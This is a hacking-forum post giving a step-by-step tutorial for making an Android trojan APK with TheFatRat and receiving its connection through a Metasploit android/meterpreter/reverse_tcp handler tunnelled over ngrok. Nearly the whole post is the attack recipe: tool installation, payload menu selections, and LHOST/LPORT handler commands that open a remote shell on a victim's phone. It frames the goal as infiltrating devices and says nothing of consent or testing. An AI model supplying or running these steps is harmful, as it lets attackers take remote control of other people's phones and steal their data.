

Forum:[Hack Forums](#)

Thread: [How to Infiltrate Android Devices With TheFatRat](#)

padme - August 16, 2022, 8:33 pm

Now, First of All, Let's Open the Terminal And Get Root Permission.

```
su
```

We have received our Root Permission. Now Let's Open the Port.

```
./ngrok tcp XXXX (Port)
```

You Can Type the Desired Port Where X is. I wrote 4444.
Then We Enter And Our Port Opens.

Creating a Trojan With TheFatRat

We Need to Install Our Tool Called TheFatRat,
First, Let's Open A New Terminal And Go To The Directory We Want To Install.

```
git clone https://github.com/Screeetsec/TheFatRat
```

Now We Need to Install the Setup.
For this, Let's First Enter TheFatRat Directory.

```
cd TheFatRat
```

And we entered the Directory. Now We Can Start the Installation.

```
bash setup.sh
```

Then Enter and start the Installation. Now We can Proceed to Creating the Trojan.

```
fatrat
```

Let's Enter and Start the Application.

Our Application has been Opened.

We Will Now Proceed by Selecting the Number.
First, Since We will Create a Normal Trojan, We Select the Number '1' (We Write) And Enter It.

Now We Will Choose Which System to Infiltrate,
Because We are Going to Infiltrate Android .apk So we choose '3'.

Then the Port Information from Us Etc. The Request Section is Coming.
Now We Will Fill It In Respectively.

LHOST= 0.tcp.ngrok.io (Since we have opened it from Ngrok, you can do it on your own ip for android on the same network if you want.)

LPORT= 0.tcp.ngrok.io The 5-digit number after the post

output files= the name of the trojan that will be generated

We Come Across the Payload Selection Section.
Let's Mark 3 and Enter.

Now That We Have Created the Trojan, It Will Give Us the Location Where the Trojan Is Located.
The Trojan Creation Section Is Over, Now Let's Listen To It.

Listening to Trojans with Metasploit

Now Let's Open A New Terminal And Start The Metasploit.

msfconsole

Then Let's Enter And Metasploit Opens And We Will Enter The Necessary Codes.

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST 0.tcp.ngrok.io

set LPORT XXXX(I Made 4444)

run

Then We Listen to the Trojan.
And the process ends.